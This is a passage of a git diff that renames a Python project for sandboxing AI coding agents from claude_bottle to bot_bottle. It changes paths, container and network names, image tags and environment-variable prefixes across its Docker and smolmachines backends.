`bot-bottle-*` containers not attached to any compose project. Cleared via `docker rm -f`. - stray_networks: same idea for networks. Cleared via `docker network rm`. - orphan_state_dirs: per-bottle state dirs under - ~/.claude-bottle/state/ that have no live compose project AND + ~/.bot-bottle/state/ that have no live compose project AND no `.preserve` marker. Reaped via `shutil.rmtree`. Compose-managed networks are removed by `compose down --volumes`, diff --git a/claude_bottle/backend/docker/bottle_plan.py b/bot_bottle/backend/docker/bottle_plan.py similarity index 98% rename from claude_bottle/backend/docker/bottle_plan.py rename to bot_bottle/backend/docker/bottle_plan.py index 723ad7c..31fa0ce 100644 --- a/claude_bottle/backend/docker/bottle_plan.py +++ b/bot_bottle/backend/docker/bottle_plan.py @@ -34,7 +34,7 @@ class DockerBottlePlan(BottlePlan): runtime_image: str # image actually launched (derived or base) # Absolute path to the Dockerfile that builds `image`. Empty means # use the repo's default Dockerfile. Populated to a per-bottle - # state file (~/.claude-bottle/state//Dockerfile) after a + # state file (~/.bot-bottle/state//Dockerfile) after a # capability-block remediation (PRD 0016). dockerfile_path: str env_file: Path # docker --env-file: NAME=VALUE literals diff --git a/claude_bottle/backend/docker/bottle_state.py b/bot_bottle/backend/docker/bottle_state.py similarity index 94% rename from claude_bottle/backend/docker/bottle_state.py rename to bot_bottle/backend/docker/bottle_state.py index 1ea2c6b..89e525f 100644 --- a/claude_bottle/backend/docker/bottle_state.py +++ b/bot_bottle/backend/docker/bottle_state.py @@ -6,15 +6,15 @@ helper saves before teardown, and the launch metadata that lets `cli.py resume ` reconstruct a bottle's spec. State lives at: - ~/.claude-bottle/state// + ~/.bot-bottle/state// metadata.json — agent_name + cwd + started_at (for resume) Dockerfile — per-bottle override (absent → use repo's) transcript/ — last snapshotted agent state (best-effort) When the per-bottle Dockerfile is present, the launch step builds -the agent image with a per-bottle tag (claude-bottle-rebuilt-) +the agent image with a per-bottle tag (bot-bottle-rebuilt-) from this file rather than the repo's. The build context is still -the repo root so the Dockerfile can COPY claude_bottle source files +the repo root so the Dockerfile can COPY bot_bottle source files the same way the original does. Identity model: @@ -40,7 +40,7 @@ from ... import supervise as _supervise from . import util as docker_mod -# Directory layout: ~/.claude-bottle/state//... +# Directory layout: ~/.bot-bottle/state//... _STATE_SUBDIR = "state" _PER_BOTTLE_DOCKERFILE_NAME = "Dockerfile" _TRANSCRIPT_SUBDIR = "transcript" @@ -91,7 +91,7 @@ def bottle_identity(agent_name: str) -> str: class BottleMetadata: """Persistent record of how a bottle was launched, written at start time and read by `cli.py resume`. Lives at - ~/.claude-bottle/state//metadata.json.""" + ~/.bot-bottle/state//metadata.json.""" identity: str agent_name: str @@ -112,7 +112,7 @@ def metadata_path(identity: str) -> Path: def write_metadata(metadata: BottleMetadata) -> Path: - """Persist `metadata` to ~/.claude-bottle/state//metadata.json. + """Persist `metadata` to ~/.bot-bottle/state//metadata.json. Mode 0o644 — no secrets, just (agent_name, cwd, timestamp).""" path = metadata_path(metadata.identity) path.parent.mkdir(parents=True, exist_ok=True) @@ -144,7 +144,7 @@ def read_metadata(identity: str) -> BottleMetadata | None: def bottle_state_dir(identity: str) -> Path: """Per-bottle state directory on the host. Created lazily by the write helpers; readers tolerate its absence.""" - return _supervise.claude_bottle_root() / _STATE_SUBDIR / identity + return _supervise.bot_bottle_root() / _STATE_SUBDIR / identity def per_bottle_dockerfile_path(identity: str) -> Path: @@ -171,9 +171,9 @@ def write_per_bottle_dockerfile(identity: str, content: str) -> Path: def per_bottle_image_tag(identity: str) -> str: """Image tag for a rebuilt bottle. Distinct from the base - claude-bottle:latest so per-bottle rebuilds don't collide in + bot-bottle-claude:latest so per-bottle rebuilds don't collide in the docker image cache.""" - return f"claude-bottle-rebuilt-{identity}:latest" + return f"bot-bottle-rebuilt-{identity}:latest" def live_config_dir(identity: str) -> Path: @@ -248,9 +248,9 @@ def git_gate_state_dir(identity: str) -> Path: def supervise_state_dir(identity: str) -> Path: """State subdir for the supervise sidecar's current-config dir - (bind-mounted into the agent at /etc/claude-bottle/current-config). + (bind-mounted into the agent at /etc/bot-bottle/current-config). The queue dir is intentionally NOT under here — it lives at - ~/.claude-bottle/queue// alongside the audit logs, so it + ~/.bot-bottle/queue// alongside the audit logs, so it survives state-dir cleanup.""" return bottle_state_dir(identity) / _SUPERVISE_SUBDIR diff --git a/claude_bottle/backend/docker/capability_apply.py b/bot_bottle/backend/docker/capability_apply.py similarity index 95% rename from claude_bottle/backend/docker/capability_apply.py rename to bot_bottle/backend/docker/capability_apply.py index 9451042..1e4856d 100644 --- a/claude_bottle/backend/docker/capability_apply.py +++ b/bot_bottle/backend/docker/capability_apply.py @@ -5,11 +5,11 @@ On approval of a capability-block proposal, the dashboard calls apply_capability_change(slug, new_dockerfile) which: 1. Snapshots the agent's transcript dir to - ~/.claude-bottle/state//transcript/ (best-effort). + ~/.bot-bottle/state//transcript/ (best-effort). 2. Pushes the agent's working tree via `git push` (best-effort — no upstream / no commits / no git repo all skip with a log). 3. Writes the new Dockerfile to - ~/.claude-bottle/state//Dockerfile (PRD 0016 Phase 1 + ~/.bot-bottle/state//Dockerfile (PRD 0016 Phase 1 state). The next `cli.py start ` picks it up. 4. Force-removes the agent container + all sidecars + the per-bottle networks. Idempotent — missing resources are not @@ -55,7 +55,7 @@ _AGENT_WORKSPACE_IN_CONTAINER = f"{_AGENT_HOME_IN_CONTAINER}/workspace" # Per-bottle resource name patterns (mirroring prepare.py). def _agent_container_name(slug: str) -> str: - return f"claude-bottle-{slug}" + return f"bot-bottle-{slug}" def _per_bottle_container_names(slug: str) -> list[str]: @@ -70,8 +70,8 @@ def _per_bottle_container_names(slug: str) -> list[str]: def _per_bottle_network_names(slug: str) -> list[str]: return [ - f"claude-bottle-net-{slug}", - f"claude-bottle-egress-{slug}", + f"bot-bottle-net-{slug}", + f"bot-bottle-egress-{slug}", ] @@ -131,13 +131,13 @@ def _repo_dockerfile_path() -> Path: """Path to the repo's Claude Dockerfile (one dir above this module's package root). Resolved at call time so the path is correct regardless of where this module is imported from.""" - # claude_bottle/backend/docker/capability_apply.py -> repo root + # bot_bottle/backend/docker/capability_apply.py -> repo root return Path(__file__).resolve().parent.parent.parent.parent / "Dockerfile.claude" def snapshot_transcript(slug: str) -> None: """`docker cp` /home/node/.claude out of the agent container into - ~/.claude-bottle/state//transcript/. Best-effort: missing + ~/.bot-bottle/state//transcript/. Best-effort: missing container, missing dir, or cp error all log a warning and return. The transcript is what `claude --resume` reads to pick up where the agent left off. diff --git a/claude_bottle/backend/docker/cleanup.py b/bot_bottle/backend/docker/cleanup.py similarity index 93% rename from claude_bottle/backend/docker/cleanup.py rename to bot_bottle/backend/docker/cleanup.py index eda7ac5..57f365d 100644 --- a/claude_bottle/backend/docker/cleanup.py +++ b/bot_bottle/backend/docker/cleanup.py @@ -7,13 +7,13 @@ scan, just as a fallback bucket alongside the project list. `prepare_cleanup` enumerates: - - Live compose projects whose name starts with `claude-bottle-`. - - `claude-bottle-*` containers that aren't part of any compose + - Live compose projects whose name starts with `bot-bottle-`. + - `bot-bottle-*` containers that aren't part of any compose project (legacy orphans). - - `claude-bottle-*` networks that aren't tied to a compose + - `bot-bottle-*` networks that aren't tied to a compose project (legacy orphans; compose-managed networks come down with `compose down --volumes` and don't appear here). - - State dirs under ~/.claude-bottle/state// with no + - State dirs under ~/.bot-bottle/state// with no live compose project AND no `.preserve` marker. `cleanup` removes everything in the plan. @@ -36,7 +36,7 @@ from .compose import COMPOSE_PROJECT_PREFIX, list_compose_projects def _list_prefixed_containers() -> list[str]: - """All claude-bottle-prefixed containers, running or stopped.""" + """All bot-bottle-prefixed containers, running or stopped.""" result = subprocess.run( ["docker", "ps", "-a", "--filter", f"name=^{COMPOSE_PROJECT_PREFIX}", @@ -60,7 +60,7 @@ def _list_prefixed_containers() -> list[str]: def _list_prefixed_networks() -> list[str]: - """All claude-bottle-prefixed networks not currently attached + """All bot-bottle-prefixed networks not currently attached to a compose project. Compose-managed networks have a `com.docker.compose.project` label; bare ones (from pre-compose code paths) don't.""" @@ -95,7 +95,7 @@ def _list_orphan_state_dirs( ANY backend — used so this docker-side check doesn't reap a running smolmachines bottle's state dir (the layout is shared across both backends).""" - state_root = _supervise.claude_bottle_root() / "state" + state_root = _supervise.bot_bottle_root() / "state" if not state_root.is_dir(): return [] orphans: list[str] = [] diff --git a/claude_bottle/backend/docker/compose.py b/bot_bottle/backend/docker/compose.py similarity index 97% rename from claude_bottle/backend/docker/compose.py rename to bot_bottle/backend/docker/compose.py index e09614c..7d613a2 100644 --- a/claude_bottle/backend/docker/compose.py +++ b/bot_bottle/backend/docker/compose.py @@ -20,11 +20,11 @@ SDK-call branching in `launch.py` today): Naming: - - Compose project: `claude-bottle-`. + - Compose project: `bot-bottle-`. - Service names (inside the file): `agent`, `pipelock`, `egress`, `git-gate`, `supervise`. - `container_name:` matches today's pattern - (`claude-bottle--`) so dashboard/cleanup discovery + (`bot-bottle--`) so dashboard/cleanup discovery via the prefix scan keeps working through the transition. - Network aliases preserve the current dial-by-shortname pattern for `egress` / `supervise`, and add the long container-name as @@ -98,7 +98,7 @@ def bottle_plan_to_compose(plan: DockerBottlePlan) -> dict[str, Any]: feed it a fully-resolved plan or get an incomplete compose spec back. """ - project = f"claude-bottle-{plan.slug}" + project = f"bot-bottle-{plan.slug}" services: dict[str, Any] = { "sidecars": _sidecar_bundle_service(plan), "agent": _agent_service(plan), @@ -146,7 +146,7 @@ def _sidecar_bundle_service(plan: DockerBottlePlan) -> dict[str, Any]: Mechanics: - - Daemon subset narrows via `CLAUDE_BOTTLE_SIDECAR_DAEMONS` + - Daemon subset narrows via `BOT_BOTTLE_SIDECAR_DAEMONS` env. pipelock is always present; egress / git-gate / supervise are conditional on the plan. - Volumes are the union of the four daemons' bind-mounts, @@ -160,7 +160,7 @@ def _sidecar_bundle_service(plan: DockerBottlePlan) -> dict[str, Any]: which is wrong. - Network aliases register every legacy short/long hostname (pipelock, egress, git-gate, supervise plus - their `claude-bottle--` long forms) so + their `bot-bottle--` long forms) so the agent's HTTPS_PROXY URL and any other inter-service reference resolves to the bundle. """ @@ -170,7 +170,7 @@ def _sidecar_bundle_service(plan: DockerBottlePlan) -> dict[str, Any]: if plan.supervise_plan is not None: daemons.append("supervise") - env: list[str] = [f"CLAUDE_BOTTLE_SIDECAR_DAEMONS={','.join(daemons)}"] + env: list[str] = [f"BOT_BOTTLE_SIDECAR_DAEMONS={','.join(daemons)}"] volumes: list[dict[str, Any]] = [] # --- pipelock ---------------------------------------------------- @@ -351,7 +351,7 @@ COMPOSE_FILE_NAME = "docker-compose.yml" COMPOSE_LOG_NAME = "compose.log" -COMPOSE_PROJECT_PREFIX = "claude-bottle-" +COMPOSE_PROJECT_PREFIX = "bot-bottle-" def compose_project_name(slug: str) -> str: @@ -372,7 +372,7 @@ def slug_from_compose_project(project: str) -> str: def list_compose_projects(*, include_stopped: bool = True) -> list[str]: - """All compose project names starting with `claude-bottle-`. + """All compose project names starting with `bot-bottle-`. `include_stopped=True` (default) runs `docker compose ls --all` so exited projects appear too; pass False to get only projects with at least one running container. diff --git a/claude_bottle/backend/docker/egress.py b/bot_bottle/backend/docker/egress.py similarity index 95% rename from claude_bottle/backend/docker/egress.py rename to bot_bottle/backend/docker/egress.py index beeb47c..a025c15 100644 --- a/claude_bottle/backend/docker/egress.py +++ b/bot_bottle/backend/docker/egress.py @@ -19,7 +19,7 @@ from ...log import die # Listening port the egress daemon binds inside the bundle. The # agent's HTTP_PROXY env var resolves to `http://egress:`, # and the bundle's network aliases route `egress` to itself. -EGRESS_PORT = int(os.environ.get("CLAUDE_BOTTLE_EGRESS_PORT", "9099")) +EGRESS_PORT = int(os.environ.get("BOT_BOTTLE_EGRESS_PORT", "9099")) # In-container path for mitmproxy's CA. The format is a single PEM # file holding BOTH the cert and the private key, concatenated. The @@ -88,8 +88,8 @@ def egress_tls_init(stage_dir: Path) -> tuple[Path, Path]: "x509_extensions = v3_ca\n" "\n" "[req_dn]\n" - "O = claude-bottle\n" - "CN = claude-bottle egress CA\n" + "O = bot-bottle\n" + "CN = bot-bottle egress CA\n" "\n" "[v3_ca]\n" "basicConstraints = critical, CA:TRUE\n" @@ -115,7 +115,7 @@ def egress_tls_init(stage_dir: Path) -> tuple[Path, Path]: # where mitmproxy runs as uid 1000 — so the host file has to be # world-readable for the container's user to read it through the # mount. Owner-only mode on the parent dir (state//, under - # ~/.claude-bottle which inherits ~'s 0o700) is what actually + # ~/.bot-bottle which inherits ~'s 0o700) is what actually # restricts who can reach this file on the host. mitm = work / "mitmproxy-ca.pem" mitm.write_bytes(cert_path.read_bytes() + key_path.read_bytes()) diff --git a/claude_bottle/backend/docker/egress_apply.py b/bot_bottle/backend/docker/egress_apply.py similarity index 100% rename from claude_bottle/backend/docker/egress_apply.py rename to bot_bottle/backend/docker/egress_apply.py diff --git a/claude_bottle/backend/docker/enumerate.py b/bot_bottle/backend/docker/enumerate.py similarity index 100% rename from claude_bottle/backend/docker/enumerate.py rename to bot_bottle/backend/docker/enumerate.py diff --git a/claude_bottle/backend/docker/git_gate.py b/bot_bottle/backend/docker/git_gate.py similarity index 100% rename from claude_bottle/backend/docker/git_gate.py rename to bot_bottle/backend/docker/git_gate.py diff --git a/claude_bottle/backend/docker/launch.py b/bot_bottle/backend/docker/launch.py similarity index 100% rename from claude_bottle/backend/docker/launch.py rename to bot_bottle/backend/docker/launch.py diff --git a/claude_bottle/backend/docker/network.py b/bot_bottle/backend/docker/network.py similarity index 95% rename from claude_bottle/backend/docker/network.py rename to bot_bottle/backend/docker/network.py index 408f75f..3247636 100644 --- a/claude_bottle/backend/docker/network.py +++ b/bot_bottle/backend/docker/network.py @@ -7,8 +7,8 @@ bridge for upstream egress. We deliberately do NOT use Docker's legacy embedded DNS resolver, which pipelock needs to resolve api.anthropic.com and similar upstream hostnames. -Naming: claude-bottle-net- (internal), -claude-bottle-egress- (egress). Numeric suffix on conflict +Naming: bot-bottle-net- (internal), +bot-bottle-egress- (egress). Numeric suffix on conflict (-2, -3, ..., capped at 100). """ @@ -20,11 +20,11 @@ from ...log import die, info, warn def network_name_for_slug(slug: str) -> str: - return f"claude-bottle-net-{slug}" + return f"bot-bottle-net-{slug}" def network_egress_name_for_slug(slug: str) -> str: - return f"claude-bottle-egress-{slug}" + return f"bot-bottle-egress-{slug}" def network_exists(name: str) -> bool: diff --git a/claude_bottle/backend/docker/pipelock.py b/bot_bottle/backend/docker/pipelock.py similarity index 96% rename from claude_bottle/backend/docker/pipelock.py rename to bot_bottle/backend/docker/pipelock.py index c0a9821..d0c9979 100644 --- a/claude_bottle/backend/docker/pipelock.py +++ b/bot_bottle/backend/docker/pipelock.py @@ -27,12 +27,12 @@ from ...pipelock import ( # noqa: F401 # Pipelock image, pinned by digest. The digest is the multi-arch image # index for ghcr.io/luckypipewrench/pipelock:2.3.0. PIPELOCK_IMAGE = os.environ.get( - "CLAUDE_BOTTLE_PIPELOCK_IMAGE", + "BOT_BOTTLE_PIPELOCK_IMAGE", "ghcr.io/luckypipewrench/pipelock@sha256:3b1a39417b98406ddc5dc2d8fcb42865ddc0c68a43d355db55f0f8cb06bc6de9", ) # Listening port for pipelock's forward proxy. -PIPELOCK_PORT = os.environ.get("CLAUDE_BOTTLE_PIPELOCK_PORT", "8888") +PIPELOCK_PORT = os.environ.get("BOT_BOTTLE_PIPELOCK_PORT", "8888") # The URL egress dials for its upstream HTTPS_PROXY. egress and diff --git a/claude_bottle/backend/docker/pipelock_apply.py b/bot_bottle/backend/docker/pipelock_apply.py similarity index 100% rename from claude_bottle/backend/docker/pipelock_apply.py rename to bot_bottle/backend/docker/pipelock_apply.py diff --git a/claude_bottle/backend/docker/prepare.py b/bot_bottle/backend/docker/prepare.py similarity index 95% rename from claude_bottle/backend/docker/prepare.py rename to bot_bottle/backend/docker/prepare.py index c0baa38..d885d9c 100644 --- a/claude_bottle/backend/docker/prepare.py +++ b/bot_bottle/backend/docker/prepare.py @@ -77,7 +77,7 @@ def resolve_plan( cwd=spec.user_cwd if spec.copy_cwd else "", copy_cwd=spec.copy_cwd, started_at=datetime.now(timezone.utc).isoformat(), - compose_project=f"claude-bottle-{slug}", + compose_project=f"bot-bottle-{slug}", )) # Clear any leftover preserve marker from a prior capability-block # so this fresh launch can be cleaned up at session-end unless @@ -93,31 +93,31 @@ def resolve_plan( image_default = per_bottle_image_tag(slug) dockerfile_path = str(per_bottle_dockerfile_path(slug)) elif provider.dockerfile: - image_default = f"claude-bottle:{provider.template}-{slug}" + image_default = f"bot-bottle-{provider.template}:{slug}" dockerfile_path = _resolve_manifest_dockerfile(provider.dockerfile, spec) elif provider_runtime.dockerfile: image_default = provider_runtime.image dockerfile_path = provider_runtime.dockerfile else: image_default = provider_runtime.image - image = os.environ.get("CLAUDE_BOTTLE_IMAGE", image_default) + image = os.environ.get("BOT_BOTTLE_IMAGE", image_default) derived_image = "" runtime_image = image if spec.copy_cwd: derived_image = os.environ.get( - "CLAUDE_BOTTLE_DERIVED_IMAGE", f"claude-bottle:cwd-{slug}" + "BOT_BOTTLE_DERIVED_IMAGE", f"bot-bottle-cwd:{slug}" ) runtime_image = derived_image - default_container = f"claude-bottle-{slug}" - pinned_container = os.environ.get("CLAUDE_BOTTLE_CONTAINER", "") + default_container = f"bot-bottle-{slug}" + pinned_container = os.environ.get("BOT_BOTTLE_CONTAINER", "") container_name_pinned = bool(pinned_container) if container_name_pinned: container_name = pinned_container if docker_mod.container_exists(container_name): die( f"container '{container_name}' already exists " - f"(pinned via CLAUDE_BOTTLE_CONTAINER). " + f"(pinned via BOT_BOTTLE_CONTAINER). " f"Remove it with 'docker rm -f {container_name}' or unset the override." ) else: @@ -147,7 +147,7 @@ def resolve_plan( ) # PRD 0018 chunk 2: prepare-time scratch files live under - # ~/.claude-bottle/state/// so chunk 3's compose + # ~/.bot-bottle/state/// so chunk 3's compose # bind-mounts can point at stable paths. The state subdirs are # cleaned up by start.py's session-end teardown unless something # explicitly preserves the state dir (capability-block, crash). diff --git a/claude_bottle/backend/docker/provision/__init__.py b/bot_bottle/backend/docker/provision/__init__.py similarity index 100% rename from claude_bottle/backend/docker/provision/__init__.py rename to bot_bottle/backend/docker/provision/__init__.py diff --git a/claude_bottle/backend/docker/provision/ca.py b/bot_bottle/backend/docker/provision/ca.py similarity index 98% rename from claude_bottle/backend/docker/provision/ca.py rename to bot_bottle/backend/docker/provision/ca.py index 453fc11..f3a4717 100644 --- a/claude_bottle/backend/docker/provision/ca.py +++ b/bot_bottle/backend/docker/provision/ca.py @@ -43,7 +43,7 @@ from ..bottle_plan import DockerBottlePlan # Debian-family path for sources that `update-ca-certificates` reads. # Bundle path is what the command rebuilds and what every standard # TLS consumer in the image reads. -AGENT_CA_PATH = "/usr/local/share/ca-certificates/claude-bottle-mitm-ca.crt" +AGENT_CA_PATH = "/usr/local/share/ca-certificates/bot-bottle-mitm-ca.crt" AGENT_CA_BUNDLE = "/etc/ssl/certs/ca-certificates.crt" diff --git a/claude_bottle/backend/docker/provision/git.py b/bot_bottle/backend/docker/provision/git.py similarity index 98% rename from claude_bottle/backend/docker/provision/git.py rename to bot_bottle/backend/docker/provision/git.py index 29c63a1..59e738b 100644 --- a/claude_bottle/backend/docker/provision/git.py +++ b/bot_bottle/backend/docker/provision/git.py @@ -66,7 +66,7 @@ def _provision_git_gate_config(plan: DockerBottlePlan, target: str) -> None: if not bottle.git: return container = target - container_home = os.environ.get("CLAUDE_BOTTLE_CONTAINER_HOME", "/home/node") + container_home = os.environ.get("BOT_BOTTLE_CONTAINER_HOME", "/home/node") container_gitconfig = f"{container_home}/.gitconfig" content = git_gate_render_gitconfig(bottle.git, GIT_GATE_HOSTNAME) diff --git a/claude_bottle/backend/docker/provision/prompt.py b/bot_bottle/backend/docker/provision/prompt.py similarity index 90% rename from claude_bottle/backend/docker/provision/prompt.py rename to bot_bottle/backend/docker/provision/prompt.py index 29df62c..06b930c 100644 --- a/claude_bottle/backend/docker/provision/prompt.py +++ b/bot_bottle/backend/docker/provision/prompt.py @@ -18,8 +18,8 @@ def provision_prompt(plan: DockerBottlePlan, target: str) -> str | None: prompt (drives --append-system-prompt-file), else None. The file is copied either way so the path always exists.""" container = target - container_home = os.environ.get("CLAUDE_BOTTLE_CONTAINER_HOME", "/home/node") - in_container_prompt_path = f"{container_home}/.claude-bottle-prompt.txt" + container_home = os.environ.get("BOT_BOTTLE_CONTAINER_HOME", "/home/node") + in_container_prompt_path = f"{container_home}/.bot-bottle-prompt.txt" subprocess.run( ["docker", "cp", str(plan.prompt_file), f"{container}:{in_container_prompt_path}"], diff --git a/claude_bottle/backend/docker/provision/skills.py b/bot_bottle/backend/docker/provision/skills.py similarity index 92% rename from claude_bottle/backend/docker/provision/skills.py rename to bot_bottle/backend/docker/provision/skills.py index 63c2a8d..22cd739 100644 --- a/claude_bottle/backend/docker/provision/skills.py +++ b/bot_bottle/backend/docker/provision/skills.py @@ -28,9 +28,9 @@ def provision_skills(plan: DockerBottlePlan, target: str) -> None: return container = target - container_home = os.environ.get("CLAUDE_BOTTLE_CONTAINER_HOME", "/home/node") + container_home = os.environ.get("BOT_BOTTLE_CONTAINER_HOME", "/home/node") skills_dir = os.environ.get( - "CLAUDE_BOTTLE_CONTAINER_SKILLS_DIR", f"{container_home}/.claude/skills" + "BOT_BOTTLE_CONTAINER_SKILLS_DIR", f"{container_home}/.claude/skills" ) subprocess.run( diff --git a/claude_bottle/backend/docker/provision/supervise.py b/bot_bottle/backend/docker/provision/supervise.py similarity index 100% rename from claude_bottle/backend/docker/provision/supervise.py rename to bot_bottle/backend/docker/provision/supervise.py diff --git a/claude_bottle/backend/docker/sidecar_bundle.py b/bot_bottle/backend/docker/sidecar_bundle.py similarity index 73% rename from claude_bottle/backend/docker/sidecar_bundle.py rename to bot_bottle/backend/docker/sidecar_bundle.py index a404489..85a2402 100644 --- a/claude_bottle/backend/docker/sidecar_bundle.py +++ b/bot_bottle/backend/docker/sidecar_bundle.py @@ -5,7 +5,7 @@ The bundle image (built by Dockerfile.sidecars, PRD 0024 chunk 1) runs pipelock + egress + git-gate + supervise as one container per bottle under a small Python init supervisor. As of chunk 5 the bundle is the only shape — the legacy four-sidecar topology -and its `CLAUDE_BOTTLE_SIDECAR_BUNDLE` feature flag are gone.""" +and its `BOT_BOTTLE_SIDECAR_BUNDLE` feature flag are gone.""" from __future__ import annotations @@ -15,17 +15,17 @@ import os # Bundle image. Defaults to a built-locally tag (built from the # repo's Dockerfile.sidecars via compose `build:`). Operators # pinning to a published digest can override via env, matching -# the existing `CLAUDE_BOTTLE_PIPELOCK_IMAGE` shape. +# the existing `BOT_BOTTLE_PIPELOCK_IMAGE` shape. SIDECAR_BUNDLE_IMAGE = os.environ.get( - "CLAUDE_BOTTLE_SIDECAR_IMAGE", - "claude-bottle-sidecars:latest", + "BOT_BOTTLE_SIDECAR_IMAGE", + "bot-bottle-sidecars:latest", ) SIDECAR_BUNDLE_DOCKERFILE = "Dockerfile.sidecars" def sidecar_bundle_container_name(slug: str) -> str: - """`claude-bottle-sidecars-`. Same prefix scheme as the + """`bot-bottle-sidecars-`. Same prefix scheme as the per-sidecar containers it replaces, so the dashboard's discovery-by-prefix logic keeps working.""" - return f"claude-bottle-sidecars-{slug}" + return f"bot-bottle-sidecars-{slug}" diff --git a/claude_bottle/backend/docker/util.py b/bot_bottle/backend/docker/util.py similarity index 100% rename from claude_bottle/backend/docker/util.py rename to bot_bottle/backend/docker/util.py diff --git a/claude_bottle/backend/print_util.py b/bot_bottle/backend/print_util.py similarity index 100% rename from claude_bottle/backend/print_util.py rename to bot_bottle/backend/print_util.py diff --git a/claude_bottle/backend/smolmachines/__init__.py b/bot_bottle/backend/smolmachines/__init__.py similarity index 90% rename from claude_bottle/backend/smolmachines/__init__.py rename to bot_bottle/backend/smolmachines/__init__.py index 39f8654..6b65870 100644 --- a/claude_bottle/backend/smolmachines/__init__.py +++ b/bot_bottle/backend/smolmachines/__init__.py @@ -1,6 +1,6 @@ """smolmachines bottle backend (PRD 0023). -Selectable via `CLAUDE_BOTTLE_BACKEND=smolmachines`. Runs each +Selectable via `BOT_BOTTLE_BACKEND=smolmachines`. Runs each bottle inside a per-agent microVM (libkrun / Hypervisor.framework on macOS) with a userspace gvproxy gateway as the egress primitive. The sidecar bundle (PRD 0024) runs as a host-side diff --git a/claude_bottle/backend/smolmachines/backend.py b/bot_bottle/backend/smolmachines/backend.py similarity index 98% rename from claude_bottle/backend/smolmachines/backend.py rename to bot_bottle/backend/smolmachines/backend.py index 9947ee5..b1d054a 100644 --- a/claude_bottle/backend/smolmachines/backend.py +++ b/bot_bottle/backend/smolmachines/backend.py @@ -27,7 +27,7 @@ class SmolmachinesBottleBackend( BottleBackend["SmolmachinesBottlePlan", "SmolmachinesBottleCleanupPlan"] ): """smolmachines backend. Selected by - `CLAUDE_BOTTLE_BACKEND=smolmachines`.""" + `BOT_BOTTLE_BACKEND=smolmachines`.""" name = "smolmachines" diff --git a/claude_bottle/backend/smolmachines/bottle.py b/bot_bottle/backend/smolmachines/bottle.py similarity index 99% rename from claude_bottle/backend/smolmachines/bottle.py rename to bot_bottle/backend/smolmachines/bottle.py index 9b62240..5173f63 100644 --- a/claude_bottle/backend/smolmachines/bottle.py +++ b/bot_bottle/backend/smolmachines/bottle.py @@ -30,7 +30,7 @@ from . import smolvm as _smolvm # Absolute path to the pty_resize wrapper. Invoke as # `python ` rather than `python -m ` so the # wrapper runs regardless of cwd / sys.path — it has no -# claude_bottle.* imports, so it's self-contained. +# bot_bottle.* imports, so it's self-contained. _PTY_RESIZE_SCRIPT = _pty_resize.__file__ diff --git a/claude_bottle/backend/smolmachines/bottle_cleanup_plan.py b/bot_bottle/backend/smolmachines/bottle_cleanup_plan.py similarity index 86% rename from claude_bottle/backend/smolmachines/bottle_cleanup_plan.py rename to bot_bottle/backend/smolmachines/bottle_cleanup_plan.py index 664fc0d..e78b97a 100644 --- a/claude_bottle/backend/smolmachines/bottle_cleanup_plan.py +++ b/bot_bottle/backend/smolmachines/bottle_cleanup_plan.py @@ -4,17 +4,17 @@ Tracks the resources `SmolmachinesBottleBackend.cleanup` will remove: - machines: smolvm machines whose name starts with - `claude-bottle-` (running or stopped). Stopped + + `bot-bottle-` (running or stopped). Stopped + deleted via `smolvm machine stop` + `machine delete -f`. - - bundles: docker containers `claude-bottle-sidecars-` + - bundles: docker containers `bot-bottle-sidecars-` left over from a smolmachines bottle (the bundle's port-forwards stay published on lo0 aliases until the container is gone). Removed via `docker rm -f`. - - networks: docker networks `claude-bottle-bundle-` + - networks: docker networks `bot-bottle-bundle-` attached to the bundles. Removed via `docker network rm`. -Smolmachines state dirs live under the same `~/.claude-bottle/state/` +Smolmachines state dirs live under the same `~/.bot-bottle/state/` path the docker backend uses; the docker backend's `prepare_cleanup` already enumerates orphan state dirs and is the single source of truth for that bucket (consults diff --git a/claude_bottle/backend/smolmachines/bottle_plan.py b/bot_bottle/backend/smolmachines/bottle_plan.py similarity index 98% rename from claude_bottle/backend/smolmachines/bottle_plan.py rename to bot_bottle/backend/smolmachines/bottle_plan.py index 0da2822..ed6fb14 100644 --- a/claude_bottle/backend/smolmachines/bottle_plan.py +++ b/bot_bottle/backend/smolmachines/bottle_plan.py @@ -42,7 +42,7 @@ class SmolmachinesBottlePlan(BottlePlan): # agent's network attempt got refused by macOS. # # Chunk 2d ships with a public placeholder image (alpine) - # since claude-bottle:latest lives in the operator's local + # since bot-bottle-claude:latest lives in the operator's local # docker daemon and smolvm's crane backend can't read from # there; chunk 4 resolves the agent-image-conversion gap # (push to a registry first, or smolvm grows a docker-daemon diff --git a/claude_bottle/backend/smolmachines/cleanup.py b/bot_bottle/backend/smolmachines/cleanup.py similarity index 87% rename from claude_bottle/backend/smolmachines/cleanup.py rename to bot_bottle/backend/smolmachines/cleanup.py index b5bd01a..dc2993f 100644 --- a/claude_bottle/backend/smolmachines/cleanup.py +++ b/bot_bottle/backend/smolmachines/cleanup.py @@ -3,11 +3,11 @@ `prepare_cleanup` enumerates leftover smolmachines resources: - smolvm machines (`smolvm machine ls --json`) whose name starts - with `claude-bottle-`. - - bundle docker containers (`claude-bottle-sidecars-`). - - bundle docker networks (`claude-bottle-bundle-`). + with `bot-bottle-`. + - bundle docker containers (`bot-bottle-sidecars-`). + - bundle docker networks (`bot-bottle-bundle-`). -State dirs live under `~/.claude-bottle/state//` — +State dirs live under `~/.bot-bottle/state//` — shared layout with the docker backend, which has the single orphan-state-dir enumerator (it already consults `enumerate_active_agents()` so a live smolmachines bottle's dir @@ -29,9 +29,9 @@ from .bottle_cleanup_plan import SmolmachinesBottleCleanupPlan # Both names start with the same prefix the launcher uses. -_VM_PREFIX = "claude-bottle-" -_BUNDLE_PREFIX = _bundle.bundle_container_name("") # `claude-bottle-sidecars-` -_NETWORK_PREFIX = _bundle.bundle_network_name("") # `claude-bottle-bundle-` +_VM_PREFIX = "bot-bottle-" +_BUNDLE_PREFIX = _bundle.bundle_container_name("") # `bot-bottle-sidecars-` +_NETWORK_PREFIX = _bundle.bundle_network_name("") # `bot-bottle-bundle-` def prepare_cleanup() -> SmolmachinesBottleCleanupPlan: @@ -39,7 +39,7 @@ def prepare_cleanup() -> SmolmachinesBottleCleanupPlan: No side effects. Returns an empty plan when smolvm isn't on PATH (no machines to reap) — `cleanup` is a no-op in that case too.""" - machines = _list_claude_bottle_machines() + machines = _list_bot_bottle_machines() bundles = _list_bundle_containers() networks = _list_bundle_networks() return SmolmachinesBottleCleanupPlan( @@ -94,8 +94,8 @@ def cleanup(plan: SmolmachinesBottleCleanupPlan) -> None: ) -def _list_claude_bottle_machines() -> list[str]: - """All smolvm machines named 